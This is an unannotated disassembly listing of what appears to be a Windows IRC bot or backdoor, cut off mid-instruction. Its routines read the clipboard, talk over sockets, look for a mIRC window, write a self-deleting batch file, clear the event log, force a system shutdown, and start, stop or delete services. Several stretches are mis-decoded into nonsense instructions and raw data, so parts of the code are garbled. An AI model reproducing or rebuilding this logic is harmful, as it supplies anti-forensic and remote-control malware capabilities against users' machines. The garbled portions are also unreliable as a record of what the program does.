[ebp+arg_0] mov [ebp+var_E], ax call sub_40A9E8 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4CDBA0 ; connect cmp eax, edi jz loc_4180CC push ebx push 48h push offset dword_43B468 push esi call ds:dword_4CDC48 ; send cmp eax, edi jz loc_4180CC mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_4CDC10 ; recv cmp eax, edi jz loc_4180CC cmp [ebp+var_200E], 0Ch jnz short loc_4180CC push ebx push 18h push offset dword_43B4B4 push [ebp+arg_4] call ds:dword_4CDC48 ; send cmp eax, edi jz short loc_4180CC push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_4CDC10 ; recv mov esi, eax cmp esi, edi jz short loc_4180CC cmp [ebp+var_200E], 2 jnz short loc_4180CC push 10h push offset loc_43B4D0 lea eax, [ebp+var_2010] push esi push eax call sub_417F37 add esp, 10h test al, al jz short loc_4180AC cmp esi, 12Ch setnl bl inc ebx jmp short loc_4180CC ; --------------------------------------------------------------------------- loc_4180AC: ; CODE XREF: sub_417F6F+12Fj push 10h push offset dword_43B4E4 lea eax, [ebp+var_2010] push esi push eax call sub_417F37 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4180CC: ; CODE XREF: sub_417F6F+9Bj ; sub_417F6F+B2j ... push [ebp+arg_4] call ds:dword_4CDC90 ; closesocket mov eax, ebx pop ebx jmp loc_417F8A sub_417F6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180DD proc near ; CODE XREF: seg000:00402697p ; seg000:004026D1p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418168 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418168 cmp [ebp+arg_8], esi jz short loc_418168 cmp byte ptr [eax], 0 jz short loc_418168 push ebx push edi call sub_426689 mov ebx, eax pop ecx test ebx, ebx jz short loc_418163 push [ebp+arg_4] push edi call sub_41BAF0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41815C sub eax, edi push eax push edi push ebx call sub_41B7E0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B1D0 push eax push [ebp+arg_8] push ebx call sub_41C3D0 push [ebp+arg_4] call sub_41B1D0 add eax, esi push eax push ebx call sub_41C0B0 push ebx push edi call sub_41C0A0 add esp, 30h mov esi, edi loc_41815C: ; CODE XREF: sub_4180DD+3Cj push ebx call sub_41B2A1 pop ecx loc_418163: ; CODE XREF: sub_4180DD+2Bj mov eax, esi pop ebx jmp short loc_41816A ; --------------------------------------------------------------------------- loc_418168: ; CODE XREF: sub_4180DD+Cj ; sub_4180DD+13j ... xor eax, eax loc_41816A: ; CODE XREF: sub_4180DD+89j pop edi pop esi pop ebp retn sub_4180DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41816E proc near ; CODE XREF: sub_4019DB+DCp var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_41B780 mov esi, [ebp+arg_0] push esi call sub_41B1D0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_4181A6 or eax, 0FFFFFFFFh jmp short loc_41820D ; --------------------------------------------------------------------------- loc_4181A6: ; CODE XREF: sub_41816E+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_4181C7 loc_4181B2: ; CODE XREF: sub_41816E+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4181BF cmp dl, 0Dh jnz short loc_4181C2 loc_4181BF: ; CODE XREF: sub_41816E+4Aj mov [ecx+esi], bl loc_4181C2: ; CODE XREF: sub_41816E+4Fj inc ecx cmp ecx, eax jl short loc_4181B2 loc_4181C7: ; CODE XREF: sub_41816E+42j xor edx, edx cmp eax, ebx jle short loc_4181EF loc_4181CD: ; CODE XREF: sub_41816E+7Fj cmp [edx+esi], bl jnz short loc_4181EA lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_4181EA cmp edi, 1F4h jge short loc_4181EF mov [ebp+edi*4+var_7D0], ecx inc edi loc_4181EA: ; CODE XREF: sub_41816E+62j ; sub_41816E+6Aj inc edx cmp edx, eax jl short loc_4181CD loc_4181EF: ; CODE XREF: sub_41816E+5Dj ; sub_41816E+72j cmp [ebp+arg_4], ebx jz short loc_41820B lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C500 add esp, 0Ch loc_41820B: ; CODE XREF: sub_41816E+84j mov eax, edi loc_41820D: ; CODE XREF: sub_41816E+36j pop edi pop esi pop ebx leave retn sub_41816E endp ; =============== S U B R O U T I N E ======================================= sub_418212 proc near ; CODE XREF: sub_41826C+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_41824B push ebx mov ebx, edi loc_41822F: ; CODE XREF: sub_418212+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_41824E pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_41822F pop ebx loc_41824B: ; CODE XREF: sub_418212+18j pop edi pop esi retn sub_418212 endp ; =============== S U B R O U T I N E ======================================= sub_41824E proc near ; CODE XREF: sub_418212+25p ; sub_41826C+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D96C cmp al, 61h pop ecx jl short loc_418269 cmp al, 7Ah jg short loc_418269 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418269: ; CODE XREF: sub_41824E+Ej ; sub_41824E+12j xor eax, eax retn sub_41824E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41826C proc near ; CODE XREF: seg000:0041542Fp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BD10 push ebx push esi push edi push [ebp+arg_0] call sub_41B1D0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B1D0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418212 add esp, 14h dec esi mov edi, esi jmp short loc_41831E ; --------------------------------------------------------------------------- loc_4182AC: ; CODE XREF: sub_41826C+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D96C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D96C pop ecx cmp eax, ebx pop ecx jz short loc_41831C loc_4182CE: ; CODE XREF: sub_41826C+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_41824E mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4182EF mov eax, ecx loc_4182EF: ; CODE XREF: sub_41826C+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_41832C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D96C movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_41D96C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4182CE loc_41831C: ; CODE XREF: sub_41826C+60j dec edi dec esi loc_41831E: ; CODE XREF: sub_41826C+3Ej test esi, esi jg short loc_4182AC mov eax, [ebp+arg_0] add eax, edi loc_418327: ; CODE XREF: sub_41826C+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41832C: ; CODE XREF: sub_41826C+88j xor eax, eax jmp short loc_418327 sub_41826C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418330 proc near ; CODE XREF: seg000:004092B4p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_42808C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 0B10000h dec eax lea eax, [ebp+var_100] loc_418369: ; CODE XREF: sub_418330+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418375 cmp cl, 9 jnz short loc_418378 loc_418375: ; CODE XREF: sub_418330+3Ej inc eax jmp short loc_418369 ; --------------------------------------------------------------------------- loc_418378: ; CODE XREF: sub_418330+43j ; sub_418330+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418392 mov cl, [eax] cmp cl, 2Eh jz short loc_418378 cmp cl, 21h jl short loc_418378 loc_418392: ; CODE XREF: sub_418330+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DD368 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41BB70 add esp, 18h mov eax, esi pop esi leave retn sub_418330 endp ; =============== S U B R O U T I N E ======================================= sub_4183BA proc near ; CODE XREF: seg000:00403F47p push esi push 0 call ds:dword_4CDBC8 ; OpenClipboard test eax, eax jz short loc_4183F1 push 1 call ds:dword_4CDBE8 ; GetClipboardData mov esi, eax test esi, esi jz short loc_4183F1 push edi push esi call ds:dword_428164 ; GlobalLock push esi mov edi, eax call ds:dword_428160 ; GlobalUnlock call ds:dword_4CDC4C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4183F1: ; CODE XREF: sub_4183BA+Bj ; sub_4183BA+19j xor eax, eax pop esi retn sub_4183BA endp ; --------------------------------------------------------------------------- loc_4183F5: ; CODE XREF: seg000:0040905Fp push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call ds:dword_4CDC04 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418471 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 0B10000h xor dl, [esi+56h] mov edi, eax push esi push 0F001Fh push edi call near ptr 0B10000h cmp bh, bh jz short loc_418458 adc al, 8Bh fcom dword ptr [ebx-18h] cmp [esi], esi ; --------------------------------------------------------------------------- db 0 dd 56595900h, 0C868016Ah, 55000004h, 0DC5415FFh, 6A56004Ch dd 4C96801h, 0FF550000h ; --------------------------------------------------------------------------- loc_418458: ; CODE XREF: seg000:00418432j adc eax, offset dword_4CDC54 push ebx call near ptr 0B10000h dec esp push edi call ds:dword_42806C ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_418473 ; --------------------------------------------------------------------------- loc_418471: ; CODE XREF: seg000:0041840Bj xor eax, eax loc_418473: ; CODE XREF: seg000:0041846Fj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp-11Ch] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_4CDCB0 ; SearchPathA test eax, eax jz short near ptr loc_418512+4 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4280EC push 1 lea eax, [ebp-11Ch] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short near ptr loc_418512+4 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push ebx call near ptr 0F50004h mov byte ptr [ebx-75h], 1Dh insb add byte ptr [edx+0], 0FFh shr dword ptr [edx+0], cl push edi push 3 push 0 push 2 push 40000000h push dword ptr [ebp+8] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short near ptr loc_418512+4 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push esi call near ptr 0F70004h loc_418512: ; CODE XREF: seg000:004184A1j ; seg000:004184C8j ... sbb eax, 5FD3FF56h pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41851B proc near ; CODE XREF: seg000:00403140p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419828 pop ecx pop ecx push 50005h push 6 call ds:dword_4CDB38 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_41851B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41853D proc near ; CODE XREF: seg000:0040420Dp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_42A094, esi push edi jz short loc_418561 cmp ds:dword_4CDCC4, esi jnz short loc_418561 push esi call start pop ecx loc_418561: ; CODE XREF: sub_41853D+13j ; sub_41853D+1Bj call sub_40B134 lea eax, [ebp+var_764] push eax push 400h call near ptr 0B10000h pop ebp lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41BA76 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4280EC ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4186C1 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41BA76 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 0B10000h lds edx, [edi-1] adc eax, offset dword_42806C push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B780 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B780 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43FDB4 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 0B10000h adc eax, 79BCE850h outsd add [ebx], dl lea eax, [ebp+var_15C] push eax call ds:dword_428098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_418669 lea eax, [ebp+var_15C] push 80h push eax call near ptr 0B10000h dec eax loc_418669: ; CODE XREF: sub_41853D+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41BA76 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 0B10000h mov al, 8Dh inc ebp in al, dx push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 0B10000h xchg eax, edx loc_4186C1: ; CODE XREF: sub_41853D+72j pop edi pop esi leave retn sub_41853D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186C5 proc near ; CODE XREF: seg000:00408C2Ap var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4280C8 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_41875B push [ebp+arg_10] push [ebp+arg_C] call ds:dword_4CDB78 ; OpenEventLogA push edi push eax call ds:dword_4CDB88 ; ClearEventLogA test eax, eax jz short loc_41874D push [ebp+arg_10] push offset dword_43B5F8 loc_418726: ; CODE XREF: sub_4186C5+94j lea eax, [ebp+var_294] push eax call sub_41BA76 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 20h jmp short loc_418785 ; --------------------------------------------------------------------------- loc_41874D: ; CODE XREF: sub_4186C5+57j call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_43B5D0 jmp short loc_418726 ; --------------------------------------------------------------------------- loc_41875B: ; CODE XREF: sub_4186C5+3Fj lea eax, [ebp+var_294] push offset unk_43B5A0 push eax call sub_41BA76 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 1Ch loc_418785: ; CODE XREF: sub_4186C5+86j pop edi leave retn sub_4186C5 endp ; --------------------------------------------------------------------------- loc_418788: ; CODE XREF: seg000:00407091p push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call ds:dword_4280C8 ; GetVersionExA cmp dword ptr [ebp-90h], 4 jnz short loc_4187CD cmp dword ptr [ebp-8Ch], 0 jnz loc_418857 xor eax, eax inc eax cmp [ebp-84h], eax jz near ptr loc_418850+5 loc_4187CD: ; CODE XREF: seg000:004187AFj ; seg000:00418867j push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_4280B8 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call ds:dword_4280BC push 32h mov edi, eax push dword ptr [ebp+8] lea eax, [ebp-1C0h] push eax call sub_41DA54 push 32h lea eax, [ebp-15Ch] push dword ptr [ebp+0Ch] push eax call sub_41DA54 push 32h lea eax, [ebp-0F8h] push dword ptr [ebp+10h] push eax call sub_41DA54 lea eax, [ebp-0F8h] push eax call sub_41DA37 add eax, eax push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-15Ch] push eax lea eax, [ebp-1C0h] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call near ptr 0B10000h loc_418850: ; CODE XREF: seg000:004187C7j arpl [ebx-36A1A039h], cx retn ; --------------------------------------------------------------------------- loc_418857: ; CODE XREF: seg000:004187B8j cmp dword ptr [ebp-8Ch], 0Ah jz short loc_41886D cmp dword ptr [ebp-8Ch], 5Ah jnz loc_4187CD loc_41886D: ; CODE XREF: seg000:0041885Ej xor eax, eax inc eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418872 proc near ; CODE XREF: sub_401132+F7p ; seg000:00414F53p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_41BAD2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_428700 call sub_41C988 sub esi, eax mov eax, esi pop esi leave retn sub_418872 endp ; =============== S U B R O U T I N E ======================================= sub_4188AF proc near ; CODE XREF: seg000:loc_405FDBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418914 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_43B620[esi] push edi push eax call sub_418936 add esp, 14h test eax, eax jnz short loc_4188F7 push edi push ds:off_43B61C[esi] mov esi, offset dword_4DDC38 push offset unk_43B730 push esi call sub_41BA76 add esp, 10h jmp short loc_418931 ; --------------------------------------------------------------------------- loc_4188F7: ; CODE XREF: sub_4188AF+2Aj push eax call sub_4189D8 push eax push edi mov esi, offset dword_4DDC38 push offset unk_43B704 push esi call sub_41BA76 add esp, 14h jmp short loc_418931 ; --------------------------------------------------------------------------- loc_418914: ; CODE XREF: sub_4188AF+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DDC38 push ds:off_43B618[eax*4] push offset unk_43B6E0 push esi call sub_41BA76 add esp, 0Ch loc_418931: ; CODE XREF: sub_4188AF+46j ; sub_4188AF+63j mov eax, esi pop edi pop esi retn sub_4188AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418936 proc near ; CODE XREF: sub_4188AF+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_4CDBEC ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_41895D call ds:dword_42808C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4189D2 ; --------------------------------------------------------------------------- loc_41895D: ; CODE XREF: sub_418936+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_4CDAD4 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41897D call ds:dword_42808C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4189CA ; --------------------------------------------------------------------------- loc_41897D: ; CODE XREF: sub_418936+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4189B0 cmp eax, 3 jz short loc_4189A1 jle short loc_4189C3 cmp eax, 6 jg short loc_4189C3 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_4CDB40 ; ControlService jmp short loc_4189B7 ; --------------------------------------------------------------------------- loc_4189A1: ; CODE XREF: sub_418936+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_4CDADC ; StartServiceA jmp short loc_4189B7 ; --------------------------------------------------------------------------- loc_4189B0: ; CODE XREF: sub_418936+4Dj push esi call ds:dword_4CDB44 ; DeleteService loc_4189B7: ; CODE XREF: sub_418936+69j ; sub_418936+78j test eax, eax jnz short loc_4189C3 call ds:dword_42808C ; RtlGetLastWin32Error mov ebx, eax loc_4189C3: ; CODE XREF: sub_418936+54j ; sub_418936+59j ... push esi call ds:dword_4CDAF0 ; CloseServiceHandle loc_4189CA: ; CODE XREF: sub_418936+45j push edi call ds:dword_4CDAF0 ; CloseServiceHandle pop esi loc_4189D2: ; CODE XREF: sub_418936+25j mov eax, ebx pop edi pop ebx leave retn sub_418936 endp ; =============== S U B R O U T I N E ======================================= sub_4189D8 proc near ; CODE XREF: sub_4188AF+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418A8D jz loc_418A86 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418A50 jz short loc_418A46 mov ecx, eax sub ecx, 3 jz short loc_418A3C dec ecx dec ecx jz short loc_418A32 dec ecx jz short loc_418A28 sub ecx, 51h jz short loc_418A1E sub ecx, 24h jnz loc_418B03 ; default ; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A1E: ; CODE XREF: sub_4189D8+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A28: ; CODE XREF: sub_4189D8+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A32: ; CODE XREF: sub_4189D8+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A3C: ; CODE XREF: sub_4189D8+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A46: ; CODE XREF: sub_4189D8+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A50: ; CODE XREF: sub_4189D8+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418A7F dec ecx jz short loc_418A78 dec ecx jz short loc_418A71 dec ecx jnz loc_418B03 ; default ; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418AF5 ; --------------------------------------------------------------------------- loc_418A71: ; CODE XREF: sub_4189D8+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418A78: ; CODE XREF: sub_4189D8+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418A7F: ; CODE XREF: sub_4189D8+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418A86: ; CODE XREF: sub_4189D8+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418A8D: ; CODE XREF: sub_4189D8+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418B03 ; default ; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16 jz short loc_418AF0 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418B03 ; default ; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_418B44[ecx] jmp ds:off_418B1C[ecx*4] ; switch jump loc_418AB1: ; DATA XREF: seg000:off_418B1Co push offset aTheSpecifiedDa ; jumptable 00418AAA case 7 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AB8: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceDepe ; jumptable 00418AAA case 17 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418ABF: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceDe_0 ; jumptable 00418AAA case 10 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceHasB ; jumptable 00418AAA case 0 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418ACD: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheSpecified_0 ; jumptable 00418AAA case 2 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AD4: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceCoul ; jumptable 00418AAA case 11 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418ADB: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceHa_0 ; jumptable 00418AAA case 14 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AE2: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheRequested_1 ; jumptable 00418AAA case 3 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AE9: ; CODE XREF: sub_4189D8+D2j ; DATA XREF: seg000:off_418B1Co push offset aTheServiceHasN ; jumptable 00418AAA case 4 jmp short loc_418AF5 ; --------------------------------------------------------------------------- loc_418AF0: ; CODE XREF: sub_4189D8+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418AF5: ; CODE XREF: sub_4189D8+41j ; sub_4189D8+4Bj ... push offset dword_4DD568 call sub_41BA76 pop ecx pop ecx jmp short loc_418B16 ; --------------------------------------------------------------------------- loc_418B03: ; CODE XREF: sub_4189D8+36j ; sub_4189D8+89j ... push eax ; default ; jumptable 00418AAA cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DD568 call sub_41BA76 add esp, 0Ch loc_418B16: ; CODE XREF: sub_4189D8+129j mov eax, offset dword_4DD568 retn sub_4189D8 endp ; --------------------------------------------------------------------------- off_418B1C dd offset loc_418AC6 ; DATA XREF: sub_4189D8+D2r dd offset loc_418ACD ; jump table for switch statement dd offset loc_418AE2 dd offset loc_418AE9 dd offset loc_418AB1 dd offset loc_418ABF dd offset loc_418AD4 dd offset loc_418ADB dd offset loc_418AB8 dd offset loc_418B03 byte_418B44 db 0, 9, 1, 2 ; DATA XREF: sub_4189D8+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B56 proc near ; CODE XREF: seg000:00406006p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_4CDBEC ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_418B8E: ; CODE XREF: sub_418B56+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_4CDBB8 ; EnumServicesStatusA test eax, eax jnz short loc_418BC8 call ds:dword_42808C ; RtlGetLastWin32Error cmp eax, 0EAh jnz 